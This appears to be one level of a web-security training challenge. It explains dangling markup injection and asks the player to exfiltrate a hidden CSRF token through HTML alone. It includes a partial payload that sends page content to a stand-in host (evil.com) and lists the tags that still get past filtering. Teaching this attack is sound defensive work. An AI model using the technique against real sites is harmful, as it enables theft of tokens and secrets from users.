Defenses: <script>, event handlers, javascript:, <iframe>, <object>, <embed>, <base> all stripped. A CSRF token is hidden in the page source.
All script execution is blocked. But sometimes XSS isn't about executing code — it's about exfiltrating sensitive data from the page.
CONCEPT: Dangling Markup Injection
When you can inject HTML but cannot execute JavaScript (due to CSP, WAF, or aggressive filtering), dangling markup is a technique to steal page content. The idea: inject a tag with an unclosed attribute value like <a href="http://evil.com/steal?. The browser will treat everything from the injection point until the next matching quote as part of the URL. If there's a CSRF token, API key, or other secret between your injection and the next quote, it gets included in the link URL. When the victim clicks the link (or it auto-navigates via <meta refresh>), the secret is sent to the attacker's server. This doesn't require script execution — it exploits HTML parsing rules. Note: Modern Chrome blocks <img> dangling markup containing newlines, but <a href>, <form action>, <button formaction>, and <meta http-equiv=refresh> still work.
Your injection is inside a form that contains a hidden CSRF token. The form submits to /level/21. View page source (Ctrl+U). Can you redirect the form submission to exfiltrate the token — using only HTML?
Waiting for token exfiltration... (the page checks automatically)